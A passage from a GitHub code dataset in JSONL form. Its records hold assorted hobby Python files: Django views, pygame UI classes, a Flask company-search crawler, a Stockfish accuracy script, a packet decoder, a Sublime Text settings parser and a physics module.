exit()\nprint(\"Yes\")\n","repo_name":"aichi1279/atcoder_daily","sub_path":"241/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29756381304","text":"from multiprocessing import context\nfrom django.shortcuts import render, redirect\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.models import User\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.db.models import Q\nfrom django.http import HttpResponse\n# from datetime import datetime\nfrom .models import City, Continente, Place, Photo\nfrom .forms import CityForm, PlaceForm\n\ndef loginPage(request):\n page = 'login'\n if request.user.is_authenticated:\n return redirect('home')\n\n if request.method == 'POST':\n username = request.POST.get('username').lower()\n password = request.POST.get('password')\n \n try:\n user = User.objects.get(username=username)\n except:\n messages.error(request, 'User does not exist.')\n \n user = authenticate(request, username=username, password=password)\n\n if user is not None:\n login(request, user)\n return redirect('home')\n else:\n messages.error(request, 'Username and password does not match.')\n\n context = {'page':page}\n return render(request, 'base/login_register.html', context)\n\ndef logoutUser(request):\n logout(request)\n return redirect('home')\n\ndef registerPage(request):\n form = UserCreationForm()\n if request.method == 'POST':\n form = UserCreationForm(request.POST)\n if form.is_valid():\n user = form.save(commit=False)\n user.username = user.username.lower()\n user.save()\n login(request, user)\n return redirect('home')\n else:\n messages.error(request, 'An error occurred during registration.')\n \n return render(request, 'base/login_register.html', {'form':form})\n\ndef home(request):\n q = request.GET.get('q') if request.GET.get('q') != None else ''\n cities = City.objects.filter(\n Q(continente__name__icontains=q) |\n Q(name__icontains=q) |\n Q(country__icontains=q)\n )\n continentes = Continente.objects.all()\n city_count = cities.count()\n context = {\n 'cities':cities,\n 'continentes': continentes\n }\n return render(request, 'base/home.html', context)\n\ndef city(request, pk):\n city = City.objects.get(id=pk)\n city_places = city.place_set.all().order_by('-created')\n context = {\n 'city':city,\n 'places': city_places,\n }\n return render(request, 'base/cityPage.html', context)\n\n@login_required(login_url='login')\ndef addCity(request):\n form = CityForm()\n if request.method == 'POST':\n form = CityForm(request.POST)\n if form.is_valid():\n city = form.save(commit=False)\n city.user = request.user\n return redirect('home')\n context = {'form': form}\n return render(request, 'base/city_form.html', context)\n\n@login_required(login_url='login')\ndef updateCity(request, pk):\n city = City.objects.get(id=pk)\n form = CityForm(instance=city)\n if request.method == 'POST':\n form = CityForm(request.POST, instance=city)\n if form.is_valid():\n form.save()\n return redirect('home')\n\n context = {'form': form}\n return render(request, 'base/city_form.html', context)\n\n@login_required(login_url='login')\ndef deleteCity(request, pk):\n city = City.objects.get(id=pk)\n if request.method == 'POST':\n city.delete()\n return redirect('home')\n return render(request, 'base/delete.html', {'obj':city})\n\ndef place(request,pk):\n place = Place.objects.get(id=pk)\n photos = place.photo_set.all()\n context = {'place': place, 'photos': photos}\n return render(request, 'base/placePage.html', context)\n\n@login_required(login_url='login')\ndef addPlace(request):\n form = PlaceForm()\n if request.method == 'POST':\n form = PlaceForm(request.POST)\n if form.is_valid():\n place = form.save(commit=False)\n place.user = request.user\n return redirect('home')\n context = {'form': form}\n return render(request, 'base/place_form.html', context)\n\n@login_required(login_url='login')\ndef updatePlace(request, pk):\n place = Place.objects.get(id=pk)\n form = PlaceForm(instance=place)\n if request.method == 'POST':\n form = PlaceForm(request.POST, instance=place)\n if form.is_valid():\n form.save()\n return redirect('home')\n\n context = {'form': form}\n return render(request, 'base/place_form.html', context)\n\n@login_required(login_url='login')\ndef deletePlace(request,pk):\n place = Place.objects.get(id=pk)\n if request.user != place.user:\n return HttpResponse('You do not have the right to make this operation')\n\n if request.method == 'POST':\n place.delete()\n return redirect('home')\n return render(request, 'base/delete.html', {'obj':place})\n\n@login_required(login_url='login')\ndef addPhoto(request):\n places = Place.objects.all()\n if request.method == 'POST':\n data = request.POST\n image = request.FILES.get('image')\n photo = Photo.objects.create(\n place = Place.objects.get(id=data['place']),\n name = data['name'],\n image=image,\n )\n return redirect('home')\n\n context = {'places': places}\n return render(request, 'base/addPhoto.html', context)\n\ndef viewPhoto(request, pk):\n photo = Photo.objects.get(id=pk)\n context = {'photo': photo}\n return render(request, 'base/photo.html', context)\n","repo_name":"shhxf2013/POM","sub_path":"base/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7615469994","text":"import pygame\r\n\r\nfrom typing import Callable\r\n\r\n\r\nclass Button():\r\n \"\"\"\r\n Class for button (Hoverable and Clickable)\t\r\n \"\"\"\r\n\r\n def __init__(self, image, pos, text_input, font, base_color, hovering_color):\r\n self.image = image\r\n self.x_pos = pos[0]\r\n self.y_pos = pos[1]\r\n self.font = font\r\n self.base_color, self.hovering_color = base_color, hovering_color\r\n self.text_input = text_input\r\n self.text = self.font.render(self.text_input, True, self.base_color)\r\n if self.image is None:\r\n self.image = self.text\r\n self.rect = self.image.get_rect(center=(self.x_pos, self.y_pos))\r\n self.text_rect = self.text.get_rect(center=(self.x_pos, self.y_pos))\r\n\r\n def update(self, screen) -> None:\r\n \"\"\"updates the button\r\n\r\n Args:\r\n screen (object): screen instance\r\n \"\"\" \r\n if self.image is not None:\r\n screen.blit(self.image, self.rect)\r\n screen.blit(self.text, self.text_rect)\r\n\r\n def check_for_input(self, position:list) -> bool:\r\n \"\"\"checks for user input\r\n\r\n Args:\r\n position (list): coordinates\r\n\r\n Returns:\r\n bool: if the user input if within the button, the function returns true\r\n \"\"\" \r\n if position[0] in range(self.rect.left, self.rect.right) and position[1] in range(self.rect.top, self.rect.bottom):\r\n return True\r\n return False\r\n\r\n def change_color(self, position:list) -> None:\r\n \"\"\"change the color of a button\r\n\r\n Args:\r\n position (coordinates): coordinates of a button\r\n \"\"\" \r\n if position[0] in range(self.rect.left, self.rect.right) and position[1] in range(self.rect.top, self.rect.bottom):\r\n self.text = self.font.render(\r\n self.text_input, True, self.hovering_color)\r\n else:\r\n self.text = self.font.render(\r\n self.text_input, True, self.base_color)\r\n\r\n\r\nclass LoadSlot(Button):\r\n \"\"\"\r\n Class for Load Game Slots (after clicking load game or new game)\r\n \"\"\"\r\n\r\n def __init__(self, image, pos, text_input, font, base_color, hovering_color, clickable):\r\n super().__init__(image, pos, text_input, font, base_color, hovering_color)\r\n self.clickable = clickable\r\n\r\n def check_for_input(self, position: list) -> bool:\r\n \"\"\"checks for user input\r\n\r\n Args:\r\n position (list): coordinates\r\n\r\n Returns:\r\n bool: if the input is clickable, it returns true\r\n \"\"\" \r\n if position[0] in range(self.rect.left, self.rect.right) and position[1] in range(self.rect.top, self.rect.bottom):\r\n if self.clickable:\r\n return True\r\n return False\r\n\r\n\r\nclass SlotProfile(Button):\r\n \"\"\"\r\n Class for Slot Profile (Hoverable and Clickable)\r\n \"\"\"\r\n\r\n def __init__(self, image, pos: tuple, text_input: str, font: Callable,\r\n base_color: str, hovering_color: str, level_score: str, image_2) -> None:\r\n super().__init__(image, pos, text_input, font, base_color, hovering_color)\r\n\r\n self.font = font\r\n self.level_score = level_score\r\n self.text_rect = self.text.get_rect(center=(self.x_pos, self.y_pos+80))\r\n self.text_lvl_1 = self.font.render(\r\n self.level_score, True, self.base_color)\r\n self.txt_lvl_1_rect = self.text_lvl_1.get_rect(\r\n center=(self.x_pos, self.y_pos+150))\r\n self.image_2 = image_2\r\n self.image2_rect = self.image_2.get_rect(\r\n center=(self.x_pos, self.y_pos-80))\r\n\r\n self.enemy_asset = pygame.image.load(\"assets/ship.png\")\r\n self.enemy_asset_rect = self.enemy_asset.get_rect(center=(225, 540))\r\n self.enemy_desc = self.font.render(\"Enemy\", True, \"Red\")\r\n self.enemey_desc_rect = self.enemy_desc.get_rect(center=(225, 600))\r\n\r\n self.bullet_asset = pygame.image.load(\"assets/bullet.png\")\r\n self.bullet_asset_rect = self.enemy_asset.get_rect(center=(500, 560))\r\n self.bullet_desc = self.font.render(\r\n \"Avoid the bullets\", True, \"Green\")\r\n self.bullet_desc_rect = self.enemy_desc.get_rect(center=(420, 600))\r\n\r\n self.baby_asset = pygame.image.load(\"assets/BabyRoid.png\")\r\n self.baby_asset_rect = self.enemy_asset.get_rect(center=(830, 560))\r\n self.baby_desc = self.font.render(\r\n \"Collect the BabyRoids\", True, \"Violet\")\r\n self.baby_desc_rect = self.enemy_desc.get_rect(center=(740, 600))\r\n\r\n self.player_assert = pygame.image.load(\"assets/AteRhoids.png\")\r\n self.player_assert_rect = self.enemy_asset.get_rect(center=(1055, 540))\r\n self.player_desc = self.font.render(\"Player\", True, \"Violet\")\r\n self.player_desc_rect = self.enemy_desc.get_rect(center=(1055, 600))\r\n\r\n def update(self, screen) -> None:\r\n \"\"\"updates slot profile\r\n\r\n Args:\r\n screen (object): screen object\r\n \"\"\" \r\n if self.image is not None:\r\n screen.blit(self.image, self.rect)\r\n screen.blit(self.image_2, self.image2_rect)\r\n screen.blit(self.text, self.text_rect)\r\n screen.blit(self.text_lvl_1, self.text_lvl_1, self.txt_lvl_1_rect)\r\n screen.blit(self.enemy_asset, self.enemy_asset_rect)\r\n screen.blit(self.enemy_desc, self.enemey_desc_rect)\r\n screen.blit(self.bullet_asset, self.bullet_asset_rect)\r\n screen.blit(self.bullet_desc, self.bullet_desc_rect)\r\n screen.blit(self.baby_asset, self.baby_asset_rect)\r\n screen.blit(self.baby_desc, self.baby_desc_rect)\r\n screen.blit(self.player_assert, self.player_assert_rect)\r\n screen.blit(self.player_desc, self.player_desc_rect)\r\n\r\n def change_color(self, position: list) -> None:\r\n \"\"\"change the color of the slot profile\r\n\r\n Args:\r\n position (list): coordinates \r\n \"\"\" \r\n if position[0] in range(self.rect.left, self.rect.right) and position[1] in range(self.rect.top, self.rect.bottom):\r\n self.text = self.font.render(\r\n self.text_input, True, self.hovering_color)\r\n self.text_lvl_1 = self.font.render(\r\n self.level_score, True, self.hovering_color)\r\n else:\r\n self.text = self.font.render(\r\n self.text_input, True, self.base_color)\r\n self.text_lvl_1 = self.font.render(\r\n self.level_score, True, self.base_color)\r\n\r\n\r\nclass SlotReader():\r\n \"\"\"\r\n Class for Slot Reader (File Handler: Saved Games)\r\n \"\"\"\r\n\r\n def __init__(self, filename: str) -> None:\r\n self.filename = filename\r\n self.data = None\r\n\r\n def new_data(self, slot_no: str, existing_load: str) -> None:\r\n self.slot_no = slot_no\r\n self.existing_load = existing_load\r\n with open(\"game_files/\"+self.filename, 'w', encoding='utf-8') as f:\r\n f.write(self.slot_no+\"\\n\")\r\n f.write(self.existing_load+\"\\n\")\r\n f.write(\"0\\n\")\r\n f.write(\"0\\n\")\r\n f.write(\"0\\n\")\r\n\r\n def check_if_exist(self) -> bool:\r\n state = None\r\n with open(\"game_files/\"+self.filename, 'r', encoding='utf-8') as f:\r\n state = f.readlines()[1]\r\n if state == \"False\\n\":\r\n return False\r\n return True\r\n\r\n def get_score(self) -> object:\r\n with open(\"game_files/\"+self.filename, 'r', encoding='utf-8') as f:\r\n self.data = f.readlines()\r\n return self.data\r\n\r\n def save_data(self, score: int, profile_no: int) -> None:\r\n with open(\"game_files/\"+self.filename, 'r', encoding='utf-8') as f:\r\n self.data = f.readlines()\r\n if profile_no == 1:\r\n if int(self.data[2][0]) < score:\r\n self.data[2] = str(score)+\"\\n\"\r\n if profile_no == 2:\r\n if int(self.data[3][0]) < score:\r\n self.data[3] = str(score)+\"\\n\"\r\n if profile_no == 3:\r\n if int(self.data[4][0]) < score:\r\n self.data[4] = str(score)+\"\\n\"\r\n\r\n with open(\"game_files/\"+self.filename, 'w', encoding='utf-8') as f:\r\n for element in self.data:\r\n f.write(element)\r\n","repo_name":"adeeconometrics/AteRoids_GameRepo","sub_path":"src/UIElements.py","file_name":"UIElements.py","file_ext":"py","file_size_in_byte":8303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43325545609","text":"from flask import Flask, render_template,request\nimport jdatetime\nimport requests\nimport json\n\n\napp = Flask(__name__)\n\n\ndef convert_gregorian_date_to_jalali_date(gregorian_datetime):\n gregorian_date = gregorian_datetime.rsplit('T', 1)[0]\n parsed_gregorian_date = gregorian_date.split('-')\n jalili_date = str(jdatetime.date.fromgregorian(day=int(parsed_gregorian_date[2]), month=int(parsed_gregorian_date[1]), year=int(parsed_gregorian_date[0])))\n jalili_date = jalili_date.replace('-', '/')\n return jalili_date\n\n\ndef crawl_rasmio(supplier_name, count):\n main_url = 'https://rasm.io/api/search'\n get_parameters = {'term': supplier_name, 'page': '1', 'pagesize': count} # pagesize: for number of retrieved records, page: number of page, term: specific url\n result = requests.get(url=main_url, params=get_parameters)\n data = result.json()['companies']['hits']['hits']\n retrieved_data = []\n for row in data:\n company_data = row['_source']\n dict_company_info = {}\n id = company_data.get('id', '0')\n title = company_data.get('title', '0')\n status = company_data.get('status', '0')\n registration_no = company_data.get('registrationNo', '0')\n registration_date = company_data.get('registrationDate', '0')\n jalali_registration_date = '0'\n try:\n if registration_date != '0':\n jalali_registration_date = convert_gregorian_date_to_jalali_date(registration_date)\n else:\n jalali_registration_date = '0'\n except:\n jalali_registration_date = '0'\n address = company_data.get('address', '0')\n postal_code = company_data.get('postalCode', '0')\n economical_code = company_data.get('taxNumber', '0')\n phone = company_data.get('tel', '0')\n\n dict_company_info['searched_name'] = str(supplier_name)\n dict_company_info['id'] = id\n dict_company_info['title'] = title\n dict_company_info['status'] = status\n dict_company_info['registration_no'] = registration_no\n dict_company_info['registration_date'] = jalali_registration_date\n dict_company_info['address'] = address\n dict_company_info['postal_code'] = postal_code\n dict_company_info['economical_code'] = economical_code\n dict_company_info['phone'] = phone\n retrieved_data.append(dict_company_info)\n return retrieved_data\n\n\n@app.route('/')\ndef hello_world():\n return render_template('index.html')\n\n\n@app.route('/api/rasmio', methods=['POST'])\ndef rasmio_crawler():\n data = request.get_json()\n name = data['name']\n count = data['count']\n result = crawl_rasmio(name, count)\n value = {\"Results\": result}\n return value\n\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"FaridFArab/RasmIO","sub_path":"rasm.io_api/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12558681244","text":"from stockfish import Stockfish\nimport chess.pgn\nimport numpy as np\nimport sys\n\ndef main(file, num):\n \n \n stockfish = Stockfish(path=\"/opt/homebrew/Cellar/stockfish/15.1/bin/stockfish\")\n j = 2\n while j < 80:\n f = open(file)\n tot = 0\n numdo = 0\n i = 0\n while i < num:\n game = chess.pgn.read_game(f)\n if game == None:\n break\n length = game.end().ply()\n if length <= j+2:\n continue\n while game.ply() < j:\n game = game.next()\n game2 = game.next()\n move = game2.move.uci()\n fen = game.board().fen()\n stockfish.set_fen_position(fen)\n sf_move = stockfish.get_best_move()\n if sf_move == move:\n tot += 1\n i+=1\n print(tot, i)\n print(f\"accuracy for move : {round(100 * float(tot) / float(), 2)}%\")\n j+=5\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 3:\n print(\"Usage:\\npython sf_accuracy.py infile num\")\n sys.exit(1)\n inf = sys.argv[1]\n num = int(sys.argv[2])\n main(inf, num)\n\n\n ","repo_name":"robtak223/HumanChess","sub_path":"sf_accuracy.py","file_name":"sf_accuracy.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24289096116","text":"class PacketReceiver:\n encodedPacket = None\n encodedBit = None\n decodedPacket = None\n\n def receive_packet(self, packet, method):\n self.encodedPacket = packet\n if method == \"parity\":\n return self.parity_bit_decoder()\n else:\n return self.two_from_five_decoder()\n\n def parity_bit_decoder(self):\n self.decodedPacket = self.encodedPacket[:-1]\n self.encodedBit = self.encodedPacket[-1]\n if (self.decodedPacket[0:len(self.decodedPacket)].count(\"1\")) % 2 == 0 and \\\n self.encodedBit == \"0\":\n return True\n elif (self.decodedPacket[0:len(self.decodedPacket)].count(\"1\")) % 2 == 1 and \\\n self.encodedBit == \"1\":\n return True\n else:\n return False\n\n def two_from_five_decoder(self):\n for i in range(0, int(len(self.encodedPacket) / 5 - 1), 5):\n tempValue = self.encodedPacket[i: i+5]\n if tempValue in [\"11000\", \"10100\"]:\n temp = 0\n else:\n return False\n return True\n","repo_name":"SzymonLeja/NIDUC","sub_path":"PacketReceiver.py","file_name":"PacketReceiver.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43811867894","text":"import functools\nimport re\nimport sys\n\nif sys.version_info[0] >= 3:\n from .error import UserFacingError\n from .util import Util\nelse:\n from error import UserFacingError\n from util import Util\n\n\n# dict void> - A map from each wrap_as_you_type_*\n# setting to the SettingsParser method that responds to changes in that\n# setting.\n_update_settings_funcs = {}\n\n\ndef _update_setting_method(setting):\n \"\"\"Decorator that wraps a SettingsParser update settings method.\n\n Decorator that wraps a SettingsParser method that responds to a\n change in one of the wrap_as_you_type_* settings. The wrapper\n automatically catches and displays any UserFacingErrors raised in\n the wrapped function, and provides other functionality.\n\n str setting - The name of the wrap_as_you_type_* setting, e.g.\n 'wrap_as_you_type_sections'.\n \"\"\"\n def wrapper(func):\n def inner_wrapper(self):\n try:\n func(self)\n except UserFacingError as exception:\n print(\n u'WrapAsYouType error: error in \"{0:s}\" setting: '\n '{1:s}'.format(setting, str(exception)))\n Util.status_message(\n self._view.window(),\n 'WrapAsYouType settings error; see console')\n\n for listener in self._listeners.get(setting, []):\n listener()\n _update_settings_funcs[setting] = inner_wrapper\n return inner_wrapper\n return wrapper\n\n\nclass SettingsParser(object):\n \"\"\"Parses all of the wrap_as_you_type_* settings for a given View.\n\n In the context of SettingsParser, the term \"parse\" refers to\n validating a setting and presenting it in a format that is useful to\n us. Whenever a wrap_as_you_type_* setting changes, SettingsParser\n updates the value of the corresponding field.\n\n Public attributes:\n\n bool is_disabled - The result of coercing the\n \"wrap_as_you_type_disabled\" setting to a boolean.\n bool is_passive - The \"wrap_as_you_type_passive\" setting. This is\n False if the value of \"wrap_as_you_type_passive\" is invalid.\n list> paragraphs - Equivalent to the\n \"wrap_as_you_type_paragraphs\" setting, but with the\n \"first_line_regex\" entries replaced with re.Patterns instead of\n strings (the result of calling re.compile on the entries), with\n default values filled in for the \"single_line\" entries, and with\n missing \"indent\", \"indent_levels\", and \"indent_group\" entries\n replaced with None. This is [] if the value of\n \"wrap_as_you_type_paragraphs\" is invalid.\n list> sections - Equivalent to the\n \"wrap_as_you_type_sections\" setting, but with any \"line_start\"\n entries replaced with single-element \"allowed_line_starts\"\n entries, and with missing \"wrap_width\" and \"combining_selector\"\n entries replaced with None. This is [] if the value of\n \"wrap_as_you_type_sections\" is invalid.\n list> space_between_words - Equivalent to the\n \"wrap_as_you_type_space_between_words\" setting, but with the\n \"first_word_regex\" and \"second_word_regex\" entries replaced with\n re.Patterns instead of strings (the result of calling re.compile\n on the entries), and with missing \"first_word_regex\" and\n \"second_word_regex\" entries replaced with None. This is [] if\n the value of \"wrap_as_you_type_space_between_words\" is invalid.\n re.Pattern word_regex - The value re.compile(word_regex_setting),\n where \"word_regex_setting\" is the value of the\n \"wrap_as_you_type_word_regex\" setting. This is\n DEFAULT_WORD_REGEX if the value of \"wrap_as_you_type_word_regex\"\n is invalid.\n \"\"\"\n\n # Private attributes:\n # dict void>> _listeners - A map from wrap_as_you_type_*\n # settings to the corresponding listeners, as added using\n # add_on_change. Settings without any listeners might not have entries\n # in the map.\n # View _view - The View whose settings we are parsing.\n\n # The default value for word_regex\n DEFAULT_WORD_REGEX = re.compile(r'\\S+')\n\n def __init__(self, view):\n self._view = view\n self._listeners = {}\n\n # Register and run update methods\n settings = view.settings()\n for setting, func in _update_settings_funcs.items():\n settings.add_on_change(setting, functools.partial(func, self))\n func(self)\n\n def _validate_and_compile_regex(self, pattern):\n \"\"\"Return the result of compiling the specified regular expression.\n\n Return the result of compiling the specified regular expression,\n as in re.compile(pattern). Raise UserFacingError if \"pattern\"\n is not a string or is not a valid regular expression.\n\n object pattern - The purported Python regular expression string.\n return re.Pattern - The regular expression.\n \"\"\"\n if not Util.is_string(pattern):\n raise UserFacingError('Regular expressions must be strings')\n try:\n return re.compile(pattern)\n except re.error as exception:\n raise UserFacingError(\n u'Error parsing regular expression {0:s}: {1:s}'.format(\n pattern, str(exception)))\n\n @_update_setting_method('wrap_as_you_type_sections')\n def _update_sections(self):\n \"\"\"Update the value of self.sections.\"\"\"\n section_setting = self._view.settings().get(\n 'wrap_as_you_type_sections')\n self.sections = []\n if section_setting is None:\n return\n\n if not isinstance(section_setting, list):\n raise UserFacingError(\n '\"wrap_as_you_type_sections\" must be an array')\n sections = []\n for section in section_setting:\n if not isinstance(section, dict):\n raise UserFacingError(\n 'The elements of \"wrap_as_you_type_sections\" must be '\n 'objects')\n\n wrap_width = section.get('wrap_width')\n if ('wrap_width' in section and\n (not Util.is_int(wrap_width) or wrap_width <= 0)):\n raise UserFacingError(\n '\"wrap_width\" must be a positive integer')\n\n # Line start\n if 'line_start' in section and 'allowed_line_starts' in section:\n raise UserFacingError(\n 'A section may not have both \"line_start\" and '\n '\"allowed_line_starts\" entries')\n if 'line_start' in section:\n line_start = section['line_start']\n if not Util.is_string(line_start):\n raise UserFacingError('\"line_start\" must be a string')\n allowed_line_starts = [line_start]\n elif 'allowed_line_starts' in section:\n allowed_line_starts = section['allowed_line_starts']\n if not isinstance(allowed_line_starts, list):\n raise UserFacingError(\n '\"allowed_line_starts\" must be an array')\n if not allowed_line_starts:\n raise UserFacingError(\n '\"allowed_line_starts\" must not be empty')\n for line_start in allowed_line_starts:\n if not Util.is_string(line_start):\n raise UserFacingError(\n 'The elements of \"allowed_line_starts\" must be '\n 'strings')\n else:\n allowed_line_starts = ['']\n\n if 'selector' not in section:\n raise UserFacingError('Missing \"selector\" entry')\n selector = section['selector']\n if not Util.is_string(selector):\n raise UserFacingError('\"selector\" must be a string')\n\n combining_selector = section.get('combining_selector', selector)\n if ('combining_selector' in section and\n not Util.is_string(combining_selector)):\n raise UserFacingError('\"combining_selector\" must be a string')\n\n sections.append({\n 'allowed_line_starts': allowed_line_starts,\n 'combining_selector': combining_selector,\n 'selector': selector,\n 'wrap_width': wrap_width,\n })\n self.sections = sections\n\n @_update_setting_method('wrap_as_you_type_word_regex')\n def _update_word_regex(self):\n \"\"\"Update the value of word_regex.\"\"\"\n word_regex_setting = self._view.settings().get(\n 'wrap_as_you_type_word_regex')\n self.word_regex = SettingsParser.DEFAULT_WORD_REGEX\n if word_regex_setting is not None:\n self.word_regex = self._validate_and_compile_regex(\n word_regex_setting)\n\n @_update_setting_method('wrap_as_you_type_space_between_words')\n def _update_space_between_words(self):\n \"\"\"Update the value of space_between_words.\"\"\"\n space_between_words_setting = self._view.settings().get(\n 'wrap_as_you_type_space_between_words')\n self.space_between_words = []\n if space_between_words_setting is None:\n return\n\n if not isinstance(space_between_words_setting, list):\n raise UserFacingError(\n '\"wrap_as_you_type_space_between_words\" must be an array')\n space_between_words = []\n for item in space_between_words_setting:\n if not isinstance(item, dict):\n raise UserFacingError(\n 'The elements of \"wrap_as_you_type_space_between_words\" '\n 'must be objects')\n\n if 'first_word_regex' not in item:\n first_word_regex = None\n else:\n first_word_regex = self._validate_and_compile_regex(\n item['first_word_regex'])\n if 'second_word_regex' not in item:\n second_word_regex = None\n else:\n second_word_regex = self._validate_and_compile_regex(\n item['second_word_regex'])\n\n if 'space' not in item:\n raise UserFacingError('Missing \"space\" entry')\n space = item['space']\n if not Util.is_string(space):\n raise UserFacingError('\"space\" entry must be a string')\n if not Util.is_all_whitespace(space):\n raise UserFacingError(\n '\"space\" entry must consist exclusively of whitespace')\n\n space_between_words.append({\n 'first_word_regex': first_word_regex,\n 'second_word_regex': second_word_regex,\n 'space': space,\n })\n self.space_between_words = space_between_words\n\n @_update_setting_method('wrap_as_you_type_paragraphs')\n def _update_paragraphs(self):\n \"\"\"Update the value of self.paragraphs.\"\"\"\n paragraphs_setting = self._view.settings().get(\n 'wrap_as_you_type_paragraphs')\n self.paragraphs = []\n if paragraphs_setting is None:\n return\n\n if not isinstance(paragraphs_setting, list):\n raise UserFacingError(\n '\"wrap_as_you_type_paragraphs\" must be an array')\n paragraphs = []\n for paragraph in paragraphs_setting:\n if not isinstance(paragraph, dict):\n raise UserFacingError(\n 'The elements of \"wrap_as_you_type_paragraphs\" must be '\n 'objects')\n\n if 'first_line_regex' not in paragraph:\n raise UserFacingError('Missing \"first_line_regex\" entry')\n first_line_regex = self._validate_and_compile_regex(\n paragraph['first_line_regex'])\n\n indent = paragraph.get('indent', None)\n if 'indent' in paragraph:\n if not Util.is_string(indent):\n raise UserFacingError('\"indent\" entry must be a string')\n if not Util.is_all_whitespace(indent):\n raise UserFacingError(\n '\"indent\" entry must consist exclusively of '\n 'whitespace')\n\n indent_levels = paragraph.get('indent_levels', None)\n if 'indent_levels' in paragraph:\n if not Util.is_int(indent_levels) or indent_levels < 0:\n raise UserFacingError(\n '\"indent_levels\" entry must be a nonnegative integer')\n if indent is not None:\n raise UserFacingError(\n '\"indent\" and \"indent_levels\" entries may not both be '\n 'present')\n\n indent_group = paragraph.get('indent_group')\n if 'indent_group' in paragraph:\n if Util.is_int(indent_group):\n if not (0 <= indent_group <= first_line_regex.groups):\n raise UserFacingError(\n 'The \"first_line_regex\" entry does not have a '\n 'group {0:d}'.format(indent_group))\n elif Util.is_string(indent_group):\n if indent_group not in first_line_regex.groupindex:\n raise UserFacingError(\n u'The \"first_line_regex\" entry does not have a '\n 'group named {0:s}'.format(indent_group))\n else:\n raise UserFacingError(\n '\"indent_group\" entry must be a string or an integer')\n\n single_line = paragraph.get('single_line', False)\n if not isinstance(single_line, bool):\n raise UserFacingError('\"single_line\" entry must be a boolean')\n if (single_line and\n ('indent' in paragraph or 'indent_levels' in paragraph or\n indent_group is not None)):\n raise UserFacingError(\n 'If \"single_line\" is true, then the \"indent_levels\", '\n '\"indent\", and \"indent_group\" entries may not be present')\n\n paragraphs.append({\n 'first_line_regex': first_line_regex,\n 'indent': indent,\n 'indent_group': indent_group,\n 'indent_levels': indent_levels,\n 'single_line': single_line,\n })\n self.paragraphs = paragraphs\n\n @_update_setting_method('wrap_as_you_type_passive')\n def _update_is_passive(self):\n \"\"\"Update the value of self.is_passive.\"\"\"\n passive_setting = self._view.settings().get('wrap_as_you_type_passive')\n if passive_setting in (None, False, True):\n self.is_passive = bool(passive_setting)\n else:\n self.is_passive = False\n raise UserFacingError('The value must be a boolean')\n\n @_update_setting_method('wrap_as_you_type_disabled')\n def _update_is_disabled(self):\n \"\"\"Update the value of is_disabled.\"\"\"\n self.is_disabled = bool(\n self._view.settings().get('wrap_as_you_type_disabled'))\n\n def add_on_change(self, setting, func):\n \"\"\"Add a listener to changes in the specified setting.\n\n Add a listener to changes in the specified wrap_as_you_type_*\n setting. This is equivalent to\n view.settings().add_on_change(setting, func), where \"view\" is\n the value that was passed to the constructor, except that the\n listener function is guaranteed to be called after the relevant\n SettingsParser field is updated.\n\n str setting - The name of the setting, e.g.\n 'wrap_as_you_type_sections'. This must be a valid\n wrap_as_you_type_* setting.\n () -> void func - The function to call when the setting is\n changed.\n \"\"\"\n self._listeners.setdefault(setting, []).append(func)\n\n def clear_on_change(self):\n \"\"\"Remove all listeners to changes in wrap_as_you_type_* settings.\n\n Remove all functions listening to changes in wrap_as_you_type_*\n settings. This removes not only the listeners registered using\n calls to self.add_on_change, but also any listeners that\n SettingsParser uses internally. After calling\n clear_on_change(), the SettingsParser's fields will no longer\n reflect any changes in the settings.\n \"\"\"\n settings = self._view.settings()\n for setting in _update_settings_funcs.keys():\n settings.clear_on_change(setting)\n self._listeners = {}\n","repo_name":"btrekkie/WrapAsYouType","sub_path":"settings_parser.py","file_name":"settings_parser.py","file_ext":"py","file_size_in_byte":16683,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"78"} +{"seq_id":"33219040628","text":"import sys, os\r\n\r\nfrom math import *\r\nimport numpy as np\r\n\r\na1 = 1\r\na2 = 60000\r\n\r\ndef prod_scal(u,v):\r\n return sum([x * y for x, y in zip(u, v)])\r\n\r\ndef norm(u):\r\n return sqrt(prod_scal(u,u))\r\n\r\ndef mean(u):\r\n #u = [[x,y],[x,y],.,[x,y]]\r\n v = [0]*len(u[0])\r\n l = len(u)\r\n for i in range(l):\r\n for j in range(len(u[0])):\r\n v[j] += u[i][j]/l\r\n return v\r\n\r\ndef vect(a,b):\r\n return [x - y for x, y in zip(a, b)]\r\n\r\ndef sgn(x):\r\n return 1 - 2*(x < 0)\r\n\r\nclass Polygon():\r\n def __init__(self, x, y, radius, n, tilt, color, width, vx, vy, w):\r\n self.x = x\r\n self.y = y\r\n self.radius = radius\r\n self.n = n #num_sides\r\n self.tilt = tilt\r\n self.color = color\r\n self.width = width\r\n self.edges = list()\r\n \r\n s = 6\r\n self.speed = s \r\n self.v = [vx*s,vy*s,0] #speed\r\n self.w = [0,0,w*s] #rotation\r\n self.E = a1 * norm(self.v)**2 + a2 * norm(self.w)**2\r\n \r\n self.friction = .8 #1 = pas de friction; 0 = aucun glissement\r\n self.rebond = .9 #1 = aucune perte d'énergie; 0 = aucun rebond\r\n \r\n\r\n def deplacement(self):\r\n self.x += self.v[0]\r\n self.y += self.v[1]\r\n self.tilt = (self.tilt + self.w[2])%(2*pi)\r\n \r\n\r\ndef se_rapproche(p, p2, temps):\r\n #si les balles s'éloignent ne pas faire de collision \r\n pass\r\n \"\"\"\r\n posx = p.position_X\r\n posy 